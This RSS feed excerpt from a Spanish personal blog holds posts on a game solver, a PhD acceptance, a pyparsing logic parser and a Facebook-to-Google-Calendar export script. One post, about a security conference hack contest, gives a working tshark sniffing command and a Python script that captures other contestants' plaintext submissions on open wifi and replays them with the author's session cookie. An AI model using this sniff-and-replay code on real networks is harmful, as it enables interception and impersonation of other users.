class="me1">parse_args</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div></li></ol></pre></div></div></p>
<p>Así, si quiero saber cómo obtener el elemento <em>egg</em>:<br />
<code><br />
$ ./alchemy.py -g egg<br />
egg = life + stone<br />
egg = bird + bird<br />
egg = turtle + turtle<br />
egg = lizard + lizard<br />
</code><br />
Si quiero saber para que me pueden servir los elemetos <em>dough</em> y <em>sea</em>:<br />
<code>$ ./alchemy.py -f dough sea<br />
bread = fire + dough<br />
cookie = fruit + dough<br />
ocean = water + sea<br />
seaweed = plant + sea<br />
beach = sand + sea<br />
wave = wind + sea<br />
tides = moon + sea<br />
seasickness = sickness + sea<br />
algae = plant + sea<br />
horizon = sky + sea<br />
</code><br />
Para obtener todas las combinaciones:<br />
<code>$ ./alchemy.py -g all</code><br />
que da <a href="http://www.lucianobello.com.ar/blog/alchemy_all.txt">este</a> listado. Me pareció interesante hacer algunos grafos con estos datos. Así se puede ver la sección local de <em>light bulb</em>:<br />
<code>./alchemy.py -c "light bulb" | dot -Tpng > light_bulb.png ; display light_bulb.png</code><br />
<img src="http://www.lucianobello.com.ar/blog/alchemy_graph.png" alt="" /><br />
Claro que también se puede hacer el grafo completo (si se tiene memoria y tiempo):<br />
<code>$ ./alchemy.py -c all | neato -Tpng > all.png ; display all.png</code><br />
Así se genera una imagen enorme de la que se puede ver un fragmento a continuación (<a href="http://www.lucianobello.com.ar/blog/alchemy_all.jpg">click acá</a> para verla completa, son 13MB 12027x 13593).<br />
<img src="http://www.lucianobello.com.ar/blog/alchemy_all_.png"/><br />
Fue divertido, incluso cuando evidentemente no fui el primero en notar esto y basta con<a href="https://encrypted.google.com/search?q=alchemy.l8r.pl+cheats"> googlear un poco para conocer las soluciones</a>. En lo personal, consideré parte del juego escribir el código que lo resuelve y lo usé de excusa para hacer algo con <a href="http://docs.python.org/library/optparse.html">optparse</a>, que lo tenía pendiente.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/jugando-a-ser-dios/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Avancez</title>
		<link>http://www.lucianobello.com.ar/post/avancez_en/</link>
		<comments>http://www.lucianobello.com.ar/post/avancez_en/#comments</comments>
		<pubDate>Thu, 31 Mar 2011 21:13:26 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[academy]]></category>
		<category><![CDATA[information flow]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[planet]]></category>
		<category><![CDATA[sorry for my english]]></category>
		<category><![CDATA[sweden]]></category>
		<category><![CDATA[university]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1586</guid>
		<description><![CDATA[Este post también está escrito en español. If you follow me on Twitter/Facebook, you probably know that I went to Gothenburg, Sweden, during my last trip to Europe. But you probably don&#8217;t know what I did in such remote city. Few months ago, I applied to a PhD student position at Chalmers. I was lucky [...]]]></description>
			<content:encoded><![CDATA[<p><small>Este post también está escrito <a href="http://www.lucianobello.com.ar/post/avancez/">en español</a>.</small></p>
<p><img src="http://upload.wikimedia.org/wikipedia/en/thumb/5/5c/Chalmers_logo.png/225px-Chalmers_logo.png" alt="" align="right" />If you  <a href="https://twitter.com/microluciano">follow me on Twitter</a>/<a href="http://www.facebook.com/microluciano">Facebook</a>, you probably know that I went to <a href="https://secure.wikimedia.org/wikipedia/en/wiki/Gothenburg">Gothenburg, Sweden,</a> during <a href="http://www.lucianobello.com.ar/post/%C2%A1nos-vemos-en-espana/">my last trip to Europe</a>. But you probably don&#8217;t know what I did in such remote city.</p>
<p>Few months ago, I applied to a <a href="http://www.chalmers.se/cse/EN/news/vacancies/positions/phd-student-positions-in">PhD student position at Chalmers</a>. I was lucky enough to be shortlisted, so I went to some <em>in-situ</em> interviews. And, incredibly, <strong>I have been accepted!</strong> :-)</p>
<p>Chalmers is a <a href="http://www.arwu.org/FieldENG2010.jsp">TOP 100 university</a>. Most of the papers I read during the last months has been written by Chalmers researchers and for me is a great honor to be part of an academic institution with such prestige.</p>
<p>I&#8217;m going to move to the nice Gothenburg city in August. And I&#8217;m happy :)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/avancez_en/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>parser para fórmulas de lógica proposicional (o una somera introducción a pyparsing)</title>
		<link>http://www.lucianobello.com.ar/post/parser-para-formulas-de-logica-proposicional-o-una-somera-introduccion-a-pyparsing/</link>
		<comments>http://www.lucianobello.com.ar/post/parser-para-formulas-de-logica-proposicional-o-una-somera-introduccion-a-pyparsing/#comments</comments>
		<pubDate>Mon, 28 Mar 2011 17:13:29 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[academy]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[procrastination]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[university]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1515</guid>
		<description><![CDATA[La semana pasada empecé a cursar, de oyente, dos materias en Exactas: Lógica y Computabilidad y Teoría de Lenguajes. En la primera, empezamos a estudiar algunos conceptos de cálculo proposicional. Al final de la clase, el profesor sugirió escribir un pequeño parser que reconozca fórmulas de lógica proposicional. Dado que venía con ganas de entender [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://arte.atompedia.com/googleimages/arte.png/m/224753" align="right" />La semana pasada empecé a cursar, de oyente, dos materias en <a href="http://exactas.uba.ar/">Exactas</a>: <a href="http://cms.dm.uba.ar/academico/materias/1ercuat2011/logica_y_computabilidad/">Lógica y Computabilidad</a> y <a href="http://dc.uba.ar/materias/tl">Teoría de Lenguajes</a>. En la primera, empezamos a estudiar algunos conceptos de <a href="https://secure.wikimedia.org/wikipedia/es/wiki/L%C3%B3gica_proposicional">cálculo proposicional</a>. Al final de la clase, el profesor sugirió escribir un pequeño parser que reconozca fórmulas de lógica proposicional. Dado que venía con ganas de entender mejor <a href="http://pyparsing.wikispaces.com/">pyparsing</a>, me pareció que podía ser una buena forma de empezar.</p>
<p>Primero, <a href="http://pc-matias.dm.uba.ar/LyC/Cignoli-Martinez.pdf">la teoría</a>. Dado el alfabeto <img src='http://s.wordpress.com/latex.php?latex=A&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='A' title='A' class='latex' />, <img src='http://s.wordpress.com/latex.php?latex=A%5E%2A&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='A^*' title='A^*' class='latex' /> es el conjunto de palabras que pueden formarse combinando sus elementos.<br />
<img src='http://s.wordpress.com/latex.php?latex=A%3D%5C%7B%20%5Cto%20%2C%20%5Cwedge%20%2C%20%5Cvee%20%2C%20%5Cneg%20%2C%20%28%20%2C%20%29%20%2C%20p%20%2C%20%5Cprime%20%5C%7D&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='A=\{ \to , \wedge , \vee , \neg , ( , ) , p , \prime \}' title='A=\{ \to , \wedge , \vee , \neg , ( , ) , p , \prime \}' class='latex' /><br />
Existe un tipo particular de palabras, a las que llamamos variables.<br />
<img src='http://s.wordpress.com/latex.php?latex=Var%3D%5C%7Bp%20%2C%20p%5Cprime%2C%20p%5Cprime%5Cprime%20%2C%20%20%5Cldots%20%5C%7D&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='Var=\{p , p\prime, p\prime\prime ,  \ldots \}' title='Var=\{p , p\prime, p\prime\prime ,  \ldots \}' class='latex' /><br />
Es un conjunto infinito y, dado que puede ser tedioso contar la cantidad de <a href="https://secure.wikimedia.org/wikipedia/en/wiki/Prime_%28symbol%29">primas</a>, las variables pueden ser referenciadas como <img src='http://s.wordpress.com/latex.php?latex=p_n&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='p_n' title='p_n' class='latex' />, donde <em>n</em> es la cantidad de primas. Así, parece razonable pensar que no todas las palabras son <em>válidas</em> a la hora de escribir una fórmula (que es como llamaremos a las palabras válidas).</p>
<p>Ejemplos de fórmulas:
<ul>
<li> <img src='http://s.wordpress.com/latex.php?latex=%20p_2&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt=' p_2' title=' p_2' class='latex' />
<li> <img src='http://s.wordpress.com/latex.php?latex=%20%28%20%28%20p_3%20%5Cwedge%20p_5%20%29%20%5Cto%20%28%20%5Cneg%20p_2%20%5Cvee%20p_5%20%29%20%29&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt=' ( ( p_3 \wedge p_5 ) \to ( \neg p_2 \vee p_5 ) )' title=' ( ( p_3 \wedge p_5 ) \to ( \neg p_2 \vee p_5 ) )' class='latex' />
<li> <img src='http://s.wordpress.com/latex.php?latex=%20%5Cneg%20%5Cneg%20%28%20p%5Cprime%20%5Cvee%20p_%7B1232%7D%20%29&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt=' \neg \neg ( p\prime \vee p_{1232} )' title=' \neg \neg ( p\prime \vee p_{1232} )' class='latex' />
</ul>
<p>Ejemplos de no-fórmulas (palabras que no forman una fórmula):
<ul>
<li> <img src='http://s.wordpress.com/latex.php?latex=%20%5Cneg%5Cprime&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt=' \neg\prime' title=' \neg\prime' class='latex' />
<li> <img src='http://s.wordpress.com/latex.php?latex=%20%28%20p_2%20%29&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt=' ( p_2 )' title=' ( p_2 )' class='latex' />
<li> <img src='http://s.wordpress.com/latex.php?latex=%20p_3%20%5Cvee%20%5Cwedge%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt=' p_3 \vee \wedge ' title=' p_3 \vee \wedge ' class='latex' />
</ul>
<p>Si bien es más o menos intuitivo qué es una fórmula y qué no, es necesario definirlo en un sentido formal. Así  <img src='http://s.wordpress.com/latex.php?latex=%20Form%20%5Csubset%20A%5E%2A%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt=' Form \subset A^* ' title=' Form \subset A^* ' class='latex' /> y es el conjunto de las palabras que cumplen:
<ol TYPE="i">
<li> si <img src='http://s.wordpress.com/latex.php?latex=%5Calpha%20%5Cin%20A%5E%2A&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='\alpha \in A^*' title='\alpha \in A^*' class='latex' /> y <img src='http://s.wordpress.com/latex.php?latex=%5Calpha%20%5Cin%20Var&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='\alpha \in Var' title='\alpha \in Var' class='latex' />, entonces <img src='http://s.wordpress.com/latex.php?latex=%5Calpha%20%5Cin%20Form&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='\alpha \in Form' title='\alpha \in Form' class='latex' />
<li> si <img src='http://s.wordpress.com/latex.php?latex=%5Calpha%20%5Cin%20Form&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='\alpha \in Form' title='\alpha \in Form' class='latex' />, entonces <img src='http://s.wordpress.com/latex.php?latex=%5Cneg%20%5Calpha%20%5Cin%20Form&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='\neg \alpha \in Form' title='\neg \alpha \in Form' class='latex' />
<li> si <img src='http://s.wordpress.com/latex.php?latex=%5Calpha%2C%5Cbeta%20%5Cin%20Form&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='\alpha,\beta \in Form' title='\alpha,\beta \in Form' class='latex' />, entonces <img src='http://s.wordpress.com/latex.php?latex=%28%20%5Calpha%20%5Ccircledast%20%5Cbeta%29%5Cin%20Form&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='( \alpha \circledast \beta)\in Form' title='( \alpha \circledast \beta)\in Form' class='latex' />. Donde <img src='http://s.wordpress.com/latex.php?latex=%5Ccircledast%3D%5Cvee%2C%5Cwedge%2C%5Cto%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='\circledast=\vee,\wedge,\to ' title='\circledast=\vee,\wedge,\to ' class='latex' />
</ol>
<p>Nada más es una fórmula.</p>
<p>Ahora, a la práctica. Queremos escribir un parser que, dada una palabra, reconozca si es una fórmula. Y para esto vamos a jugar con el módulo <a href="http://pyparsing.wikispaces.com/">pyparsing</a>, para python.</p>
<p>Lo primero es definir el conjunto de variables.<br />
<code><br />
>>> from pyparsing import Word<br />
>>> variable=Word('Pp',"0123456789'")<br />
>>> variable.parseString('p1')<br />
(['p1'], {})<br />
>>> variable.parseString("P'")<br />
(["P'"], {})<br />
</code><br />
Así, <tt>variable</tt> reconoce los posibles nombres de variables. Toda expresión que sea parseable por <tt>variable</tt>, es una formula. Para el punto <i>ii.</i> hay que definir una estructura recursiva. Utilizaremos el <i>bang</i> (<tt>!</tt>) para la negación.<br />
<code>from pyparsing import Forward<br />
formula=Forward()<br />
ii='!' + formula<br />
</code><br />
Caso similar en el punto <i>iii.</i>. Para esto hay que definir los operadores, que son <i>and</i> (<tt>&#038;</tt>), <i>or</i> (<tt>|</tt>) y  <i>then</i> (<tt>&lt;</tt>).<br />
<code><br />
operador=Word('&#038;|>',max=1)<br />
iii='('+formula+operador+formula+')'</code><br />
Por último, definimos una fórmula cómo una variable (<i>i.</i>) o una negación de una fórmula (<i>ii.</i>) o una operación entre fórmulas (<i>iii.</i>).<br />
<code><br />
formula << ( variable | ii | iii )<br />
</code><br />
Y esto es, básicamente, nuestro parser:<br />
<code><br />
>>> formula.parseString("(p1 | p4)")<br />
(['(', 'p1', '|', 'p4', ')'], {})<br />
</code><br />
Lo dicho, con un poco más de contexto y en un único archivo, a continuación:<br />
<div id="wpshdo_2" class="wp-synhighlighter-outer"><div id="wpshdt_2" class="wp-synhighlighter-collapsed"><table border="0" width="100%"><tr><td align="left" width="80%"><a name="#codesyntax_2"></a><a id="wpshat_2" class="wp-synhighlighter-title" href="#codesyntax_2"  onClick="javascript:wpsh_toggleBlock(2)" title="Click to show/hide code block">logicparser.py</a></td><td align="right"><a href="#codesyntax_2" onClick="javascript:wpsh_code(2)" title="Show code only"><img border="0" style="border: 0 none" src="http://www.lucianobello.com.ar/wp-content/plugins/wp-synhighlight/themes/default/images/code.png" /></a>&nbsp;<a href="#codesyntax_2" onClick="javascript:wpsh_print(2)" title="Print code"><img border="0" style="border: 0 none" src="http://www.lucianobello.com.ar/wp-content/plugins/wp-synhighlight/themes/default/images/printer.png" /></a>&nbsp;</td></tr></table></div><div id="wpshdi_2" class="wp-synhighlighter-inner" style="display: none;"><pre class="python" style="font-family:monospace;"><ol><li class="li1"><div class="de1"><span class="kw1">from</span> pyparsing <span class="kw1">import</span> Forward, Word</div></li><li class="li1"><div class="de1"><span class="kw1">import</span> <span class="kw3">sys</span> </div></li><li class="li1"><div class="de1">expression=<span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span></div></li><li class="li1"><div class="de1">variable=Word<span class="br0">&#40;</span><span class="st0">'Pp'</span>,<span class="st0">&quot;0123456789'&quot;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">operador=Word<span class="br0">&#40;</span><span class="st0">'&amp;|&gt;'</span>,<span class="kw2">max</span>=<span class="nu0">1</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">formula=Forward<span class="br0">&#40;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">ii=<span class="st0">'!'</span> + formula</div></li><li class="li1"><div class="de1">iii=<span class="st0">'('</span>+formula+operador+formula+<span class="st0">')'</span></div></li><li class="li1"><div class="de1">formula <span class="sy0">&lt;&lt;</span> <span class="br0">&#40;</span> variable | ii | iii <span class="br0">&#41;</span></div></li><li class="li1"><div class="de1"><span class="kw1">print</span> expression,<span class="st0">&quot; - es formula? &quot;</span>,</div></li><li class="li1"><div class="de1"><span class="kw1">try</span>:</div></li><li class="li1"><div class="de1">    palabras = formula.<span class="me1">parseString</span><span class="br0">&#40;</span>expression.<span class="me1">strip</span><span class="br0">&#40;</span><span class="br0">&#41;</span>,parseAll=<span class="kw2">True</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    <span class="kw1">print</span> <span class="st0">&quot;TRUE&quot;</span>,</div></li><li class="li1"><div class="de1">    <span class="kw1">print</span> palabras</div></li><li class="li1"><div class="de1"><span class="kw1">except</span>:</div></li><li class="li1"><div class="de1">    <span class="kw1">print</span> <span class="st0">&quot;FALSE&quot;</span></div></li></ol></pre></div></div></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/parser-para-formulas-de-logica-proposicional-o-una-somera-introduccion-a-pyparsing/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>how to hack a h4ckc0nt3st</title>
		<link>http://www.lucianobello.com.ar/post/how-to-hack-a-h4ckc0nt3st/</link>
		<comments>http://www.lucianobello.com.ar/post/how-to-hack-a-h4ckc0nt3st/#comments</comments>
		<pubDate>Sun, 27 Feb 2011 22:34:31 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[ego]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[procrastination]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1502</guid>
		<description><![CDATA[Hace unas horas acabo de volver de A Coruña, donde pasé unos excelentes días entre charlas y talleres de excelente nivel técnico y amigos en las Jornadas de Seguridad Informáticas organizadas por GSIC. Pero este post tiene otro objetivo que contar lo lindo que fue. Así que si esperabas algo blando, puedes dejar de leer [...]]]></description>
			<content:encoded><![CDATA[<p>Hace unas horas acabo de volver de A Coruña, donde pasé unos excelentes días entre charlas y talleres de excelente nivel técnico y amigos en las <a href="http://www.gsicoruna.com/jornadas">Jornadas de Seguridad Informáticas</a> organizadas por <a href="http://www.gsicoruna.com/index.html">GSIC</a>.</p>
<p>Pero este post tiene otro objetivo que contar lo lindo que fue. Así que si esperabas algo blando, puedes dejar de leer acá :P (las fotos estarán online en breve). Lo que sigue es la respuesta larga a la pregunta que me realizaron varias veces en los últimos días: <em>¿Estas jugando al h4ckc0nt3st?</em>. La respuesta corta era <em>sí, lo estoy haciendo en este exacto momento, aunque no de la forma tradicional</em>.</p>
<h3>El contexto</h3>
<p>Durante la conferencia,  <a href="https://twitter.com/mgesteiro">Miguel</a> organizó un muy divertido hack contest. El objetivo era llegar a una respuesta a través de la resolución de diferentes desafíos. Dicha respuesta se metía en un formulario web (que escuchaba en http://10.20.63.1:666) y de esta forma se acumulaban puntos.</p>
<h3>El hack</h3>
<p>Dado que la red sobre la que se hacía el concurso era una wifi abierta y que el servidor recibía las respuestas de los participantes en texto plano (no usaba <a href="https://secure.wikimedia.org/wikipedia/en/wiki/Secure_Sockets_Layer">SSL</a>), pensé que sería divertido escuchar las respuestas de los demás concursantes. El paso siguiente de enviar dichas respuestas a mi nombre resultó inevitable. De esta forma, cada vez que alguien enviaba una posible respuesta a un desafío, yo también respondía lo mismo. Logré automatizar ello con las siguientes líneas:<br />
<code><br />
tshark -T fields -e data -i mon0 -R 'ip.dst == 10.20.63.1 and tcp.dstport == 666 and ip.src != mi.propia.ip ' | ./loro.py</code><br />
Donde <tt>loro.py</tt> este archivo:<br />
<div id="wpshdo_3" class="wp-synhighlighter-outer"><div id="wpshdt_3" class="wp-synhighlighter-collapsed"><table border="0" width="100%"><tr><td align="left" width="80%"><a name="#codesyntax_3"></a><a id="wpshat_3" class="wp-synhighlighter-title" href="#codesyntax_3"  onClick="javascript:wpsh_toggleBlock(3)" title="Click to show/hide code block">loro.py</a></td><td align="right"><a href="#codesyntax_3" onClick="javascript:wpsh_code(3)" title="Show code only"><img border="0" style="border: 0 none" src="http://www.lucianobello.com.ar/wp-content/plugins/wp-synhighlight/themes/default/images/code.png" /></a>&nbsp;<a href="#codesyntax_3" onClick="javascript:wpsh_print(3)" title="Print code"><img border="0" style="border: 0 none" src="http://www.lucianobello.com.ar/wp-content/plugins/wp-synhighlight/themes/default/images/printer.png" /></a>&nbsp;</td></tr></table></div><div id="wpshdi_3" class="wp-synhighlighter-inner" style="display: none;"><pre class="python" style="font-family:monospace;"><ol><li class="li1"><div class="de1"><span class="co1">#!/usr/bin/python</span></div></li><li class="li1"><div class="de1"><span class="kw1">import</span> <span class="kw3">sys</span></div></li><li class="li1"><div class="de1"><span class="kw1">import</span> <span class="kw3">binascii</span></div></li><li class="li1"><div class="de1"><span class="kw1">import</span> <span class="kw3">socket</span></div></li><li class="li1"><div class="de1"><span class="kw1">for</span> line <span class="kw1">in</span> <span class="kw3">sys</span>.<span class="me1">stdin</span>:</div></li><li class="li1"><div class="de1">    todecode=line.<span class="me1">strip</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    decode=<span class="kw3">binascii</span>.<span class="me1">a2b_hex</span><span class="br0">&#40;</span>todecode<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    <span class="kw1">if</span> <span class="st0">'acceder'</span> <span class="kw1">in</span> decode <span class="kw1">or</span> <span class="st0">'enviar'</span> <span class="kw1">in</span> decode :</div></li><li class="li1"><div class="de1">        datas=decode.<span class="me1">split</span><span class="br0">&#40;</span><span class="st0">'<span class="es0">\n</span>'</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">        <span class="kw1">if</span> <span class="st0">'desafio'</span> <span class="kw1">in</span> datas<span class="br0">&#91;</span>0<span class="br0">&#93;</span>:</div></li><li class="li1"><div class="de1">            <span class="kw1">for</span> i,j <span class="kw1">in</span> <span class="kw2">enumerate</span><span class="br0">&#40;</span>datas<span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">                <span class="kw1">if</span> <span class="st0">'Cookie'</span> <span class="kw1">in</span> j: datas<span class="br0">&#91;</span>i<span class="br0">&#93;</span>=<span class="st0">'Cookie: HCWSSESSID=&quot;your cookie goes here&quot;'</span></div></li><li class="li1"><div class="de1">            tosend=<span class="st0">'<span class="es0">\n</span>'</span>.<span class="me1">join</span><span class="br0">&#40;</span>datas<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">            <span class="kw3">sys</span>.<span class="me1">stderr</span>.<span class="me1">write</span><span class="br0">&#40;</span>tosend<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">            s = <span class="kw3">socket</span>.<span class="kw3">socket</span><span class="br0">&#40;</span><span class="kw3">socket</span>.<span class="me1">AF_INET</span>, <span class="kw3">socket</span>.<span class="me1">SOCK_STREAM</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">            s.<span class="me1">connect</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="st0">'10.20.63.1'</span>, 666<span class="br0">&#41;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">            s.<span class="me1">send</span><span class="br0">&#40;</span>tosend<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">            s.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">            <span class="kw1">print</span> <span class="st0">'-'</span><span class="sy0">*</span><span class="nu0">30</span></div></li></ol></pre></div></div></p>
<h3>La explicación</h3>
<p><a href="http://www.wireshark.org/docs/man-pages/tshark.html">Tshark</a> es la versión de consola de <a href="http://www.wireshark.org/">wireshark</a>. Este toma los paquetes de una interfaz en modo monitor (lee <a href="http://aircrack-ng.org/doku.php?id=iwl3945">esto</a> para aprender cómo). El modificador <tt>-f</tt> es el encargado de darme solo aquellos paquetes que vayan al servidor. Excluir del filtro a mi propia IP evita que el sniffer vea mis replayes y entre en loop (tardé en darme cuenta de esto, perdona Miguel por floodear tus logs). El script <tt>loro.py</tt> recibe el campo <tt>data</tt> de los por <tt>stdin</tt> (línea (#) 5), lo decodifica en <a href="https://secure.wikimedia.org/wikipedia/en/wiki/ASCII">ascii</a> (#7), y chequea si es una respuesta (#8). Después lo divide y busca la cookie (# 9 a 11). Al encontrarla, la reemplaza por mi propia cookie (#12, fue una suerte práctica que no caducara). Luego vuelve a juntar todo (#13), lo imprime en stderr (#14, con fines de logging, nada más) y lo envía de nuevo al server (# 15 a 18).</p>
<p>Como dicen por acá, <em>¡a que mola!</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/how-to-hack-a-h4ckc0nt3st/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>exportando cumpleaños de Facebook a Google Calendar</title>
		<link>http://www.lucianobello.com.ar/post/fb2gc/</link>
		<comments>http://www.lucianobello.com.ar/post/fb2gc/#comments</comments>
		<pubDate>Wed, 09 Feb 2011 18:55:20 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[geek]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[procrastination]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[social networking]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1480</guid>
		<description><![CDATA[Ocurre que soy realmente malo para recordar eventos. Muchas veces me comprometí a estar en dos lados simultáneamente y me olvido de hacer tal o cual cosa. Mi desorden se extiende a cosas repetitivas, como los cursos o cumpleaños. Para intentar apalear este mal, utilizo Google Calendar intensamente. Es por esto que intenté exportar las [...]]]></description>
			<content:encoded><![CDATA[<p>Ocurre que soy realmente malo para recordar eventos. Muchas veces me comprometí a estar en dos lados simultáneamente y me olvido de hacer tal o cual cosa. Mi desorden se extiende a cosas repetitivas, como los cursos o cumpleaños. Para intentar apalear este mal, utilizo <a href="http://www.google.com/calendar">Google Calendar</a> intensamente. Es por esto que intenté exportar las fechas de cumpleaños a mis calendarios. Pero cuando intenté hacerlo <em>out-of-the-box</em> me encontré con unos incordios:</p>
<ul>
<li>No hay forma de exportar solo un subconjunto de las fechas</li>
<li>Con los cambios de <a href="http://en.wikipedia.org/wiki/Daylight_saving_time">DST</a>, hay eventos que duran dos días</li>
<li>Los eventos no son de <em>días completos</em>, sino que van de 12am a 12am</li>
<li>No quedan como eventos editables <em>normales</em></li>
</ul>
<p>Los eventos se ven algo así:<br />
<img class="alignnone" src="http://www.lucianobello.com.ar/blog/fbbirthdays5.png" /><br />
Y la verdad que están horribles. Así que realicé estos 5 sencillos pasos:</p>
<h3>Paso 1</h3>
<p>Fui <a href="http://www.facebook.com/#!/?sk=bd">a los eventos de cumpleaños en mi perfil</a>, donde puse <em>exportar cumpleaños</em>.<br />
<img src="http://www.lucianobello.com.ar/blog/fbbirthdays0.png" alt="" /><br />
Así, facebook me proveyó una URL, que empieza con <em>webcal://</em><br />
<img src="http://www.lucianobello.com.ar/blog/fbbirthdays1.png" alt="" /></p>
<h3>Paso 2</h3>
<p>Esta URL, reemplazando <em>webcal</em> por <em>http</em>, la utilicé para obtener los eventos, en formato CSV:<br />
<code>wget "http://www.facebook.com/ical/b.php?uid=2XXXXXX4&amp;key=3XXXXXXX8" -O facebook.csv</code></p>
<h3>Paso 3 (opcional)</h3>
<p>Dada mi política de <em>aceptar-todo-contacto</em> en Facebook hay muchos eventos que no quisiera incluir en mi calendario. Por lo que generé una lista de los que sí quiero tener:<br />
<code>rgrep "^SUMMARY" facebook.csv &gt; lista.txt</code><br />
Y después borré de <tt>lista.txt</tt> aquellos que quería excluir.</p>
<h3>Paso 4</h3>
<p>Escribí el siguiente script:<br />
<div id="wpshdo_4" class="wp-synhighlighter-outer"><div id="wpshdt_4" class="wp-synhighlighter-collapsed"><table border="0" width="100%"><tr><td align="left" width="80%"><a name="#codesyntax_4"></a><a id="wpshat_4" class="wp-synhighlighter-title" href="#codesyntax_4"  onClick="javascript:wpsh_toggleBlock(4)" title="Click to show/hide code block">fb2gc.py</a></td><td align="right"><a href="#codesyntax_4" onClick="javascript:wpsh_code(4)" title="Show code only"><img border="0" style="border: 0 none" src="http://www.lucianobello.com.ar/wp-content/plugins/wp-synhighlight/themes/default/images/code.png" /></a>&nbsp;<a href="#codesyntax_4" onClick="javascript:wpsh_print(4)" title="Print code"><img border="0" style="border: 0 none" src="http://www.lucianobello.com.ar/wp-content/plugins/wp-synhighlight/themes/default/images/printer.png" /></a>&nbsp;</td></tr></table></div><div id="wpshdi_4" class="wp-synhighlighter-inner" style="display: none;"><pre class="python" style="font-family:monospace;"><ol><li class="li1"><div class="de1"><span class="co1">#!/usr/bin/python</span></div></li><li class="li1"><div class="de1"><span class="kw1">import</span> <span class="kw3">datetime</span></div></li><li class="li1"><div class="de1"><span class="kw1">import</span> <span class="kw3">sys</span></div></li><li class="li1"><div class="de1"><span class="kw1">print</span> <span class="st0">''</span><span class="st0">'BEGIN:VCALENDAR</span></div></li><li class="li1"><div class="de1"><span class="st0">PRODID:localscript</span></div></li><li class="li1"><div class="de1"><span class="st0">VERSION:2.0</span></div></li><li class="li1"><div class="de1"><span class="st0">CALSCALE:GREGORIAN</span></div></li><li class="li1"><div class="de1"><span class="st0">METHOD:PUBLISH</span></div></li><li class="li1"><div class="de1"><span class="st0">X-WR-CALNAME:</span></div></li><li class="li1"><div class="de1"><span class="st0">X-WR-TIMEZONE:America/Argentina/Buenos_Aires</span></div></li><li class="li1"><div class="de1"><span class="st0">X-WR-CALDESC:</span></div></li><li class="li1"><div class="de1"><span class="st0">BEGIN:VTIMEZONE</span></div></li><li class="li1"><div class="de1"><span class="st0">TZID:America/Argentina/Buenos_Aires</span></div></li><li class="li1"><div class="de1"><span class="st0">X-LIC-LOCATION:America/Argentina/Buenos_Aires</span></div></li><li class="li1"><div class="de1"><span class="st0">BEGIN:STANDARD</span></div></li><li class="li1"><div class="de1"><span class="st0">TZOFFSETFROM:-0300</span></div></li><li class="li1"><div class="de1"><span class="st0">TZOFFSETTO:-0300</span></div></li><li class="li1"><div class="de1"><span class="st0">TZNAME:ART</span></div></li><li class="li1"><div class="de1"><span class="st0">DTSTART:19700101T000000</span></div></li><li 